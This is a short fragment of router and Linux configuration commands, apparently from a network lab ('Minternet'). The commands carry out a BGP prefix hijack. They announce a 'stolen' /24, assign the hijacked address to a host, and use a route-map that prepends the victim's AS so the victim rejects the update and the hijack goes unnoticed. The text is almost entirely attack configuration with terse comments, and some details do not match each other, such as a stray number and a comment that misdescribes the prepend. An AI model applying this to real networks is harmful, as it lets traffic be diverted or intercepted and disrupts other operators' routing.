

7330

router bgp 6646

network 10.46.33.0 mask 255.255.255.0

exit

interface Ethernet1

ip address 10.46.33.1 255.255.255.0

no shutdown

# Assign the hijacked IP to the interface

ip addr add 10.46.33.10/24 dev eth0

# Set the gateway to R1's interface

ip route add 0.0.0.0/0 via 10.46.33.1

! Create a prefix list to isolate the hijacked route

! (We only want to apply this trick to the stolen route, not legitimate ones)

ip prefix-list HIJACK permit 10.46.33.0/24

! Create a route-map to modify the BGP attributes

route-map HIJACK permit 10

match ip address prefix-list HIJACK

! Prepend the Victim's AS (3246) so they reject the update

! Prepending it twice ensures the path looks "long" to others,

! but mostly implies origin.

set as-path prepend 3246 4846

!

! Allow all other traffic normally (catch-all)

route-map HIJACK permit 20

! Apply the map to the outbound neighbor (Minternet Peer)

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! Assuming 100.64.1.2 is the Minternet neighbor IP from the topology

neighbor 100.64.1.2 route-map HIJACK out

show bgp ipv4 unicast 10.46.32.0/22 longer-prefixes